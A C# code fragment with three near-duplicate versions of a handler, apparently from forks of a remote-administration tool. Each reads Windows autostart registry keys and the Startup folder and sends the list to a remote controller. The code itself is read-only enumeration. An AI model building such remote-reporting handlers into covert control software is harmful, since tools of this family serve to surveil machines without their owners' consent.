public static void HandleGetStartupItems(GetStartupItems command, Client client) { try { List <string> startupItems = new List <string>(); using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { startupItems.AddRange( key.GetFormattedKeyValues().Select(formattedKeyValue => "0" + formattedKeyValue)); } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { startupItems.AddRange( key.GetFormattedKeyValues().Select(formattedKeyValue => "1" + formattedKeyValue)); } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { startupItems.AddRange( key.GetFormattedKeyValues().Select(formattedKeyValue => "2" + formattedKeyValue)); } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { startupItems.AddRange( key.GetFormattedKeyValues().Select(formattedKeyValue => "3" + formattedKeyValue)); } } if (PlatformYardımcısı.A64Bitmi) { using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { startupItems.AddRange( key.GetFormattedKeyValues().Select(formattedKeyValue => "4" + formattedKeyValue)); } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { startupItems.AddRange( key.GetFormattedKeyValues().Select(formattedKeyValue => "5" + formattedKeyValue)); } } } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); startupItems.AddRange(from file in files where file.Name != "desktop.ini" select string.Format("{0}||{1}", file.Name, file.FullName) into formattedKeyValue select "6" + formattedKeyValue); } new GetStartupItemsResponse(startupItems).Execute(client); } catch (Exception ex) { new SetStatus(string.Format("Oto-Başlangıç Öğelerini Alma Başarısız: {0}", ex.Message)).Execute(client); } }
private void Execute(ISender client, GetStartupItems message) { try { List <Common.Models.StartupItem> startupItems = new List <Common.Models.StartupItem>(); using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { foreach (var item in key.GetKeyValues()) { startupItems.Add(new Common.Models.StartupItem { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun }); } } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { foreach (var item in key.GetKeyValues()) { startupItems.Add(new Common.Models.StartupItem { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce }); } } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { foreach (var item in key.GetKeyValues()) { startupItems.Add(new Common.Models.StartupItem { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun }); } } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { foreach (var item in key.GetKeyValues()) { startupItems.Add(new Common.Models.StartupItem { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce }); } } } if (PlatformHelper.Is64Bit) { using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { foreach (var item in key.GetKeyValues()) { startupItems.Add(new Common.Models.StartupItem { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64Run }); } } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { foreach (var item in key.GetKeyValues()) { startupItems.Add(new Common.Models.StartupItem { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64RunOnce }); } } } } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem { Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu })); } client.Send(new GetStartupItemsResponse { StartupItems = startupItems }); } catch (Exception ex) { client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" }); } }
public static void getStartupItems(GetStartupItems packet, ClientMosaic client) { try { List <string> startupItems = new List <string>(); using (var key = openReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { startupItems.AddRange(key.getFormattedKeyValues().Select(formattedKeyValue => "0" + formattedKeyValue)); } } using (var key = openReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { startupItems.AddRange(key.getFormattedKeyValues().Select(formattedKeyValue => "1" + formattedKeyValue)); } } using (var key = openReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { startupItems.AddRange(key.getFormattedKeyValues().Select(formattedKeyValue => "2" + formattedKeyValue)); } } using (var key = openReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { startupItems.AddRange(key.getFormattedKeyValues().Select(formattedKeyValue => "3" + formattedKeyValue)); } } if (is64Bit) { using (var key = openReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { startupItems.AddRange(key.getFormattedKeyValues().Select(formattedKeyValue => "4" + formattedKeyValue)); } } using (var key = openReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { startupItems.AddRange(key.getFormattedKeyValues().Select(formattedKeyValue => "5" + formattedKeyValue)); } } } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); startupItems.AddRange(from file in files where file.Name != "desktop.ini" select string.Format("{0}||{1}", file.Name, file.FullName) into formattedKeyValue select "6" + formattedKeyValue); } new GetStartupItemsResponse(startupItems).Execute(client); } catch (Exception ex) { new SetStatus(string.Format("Getting Autostart Items failed: {0}", ex.Message)).Execute(client); } }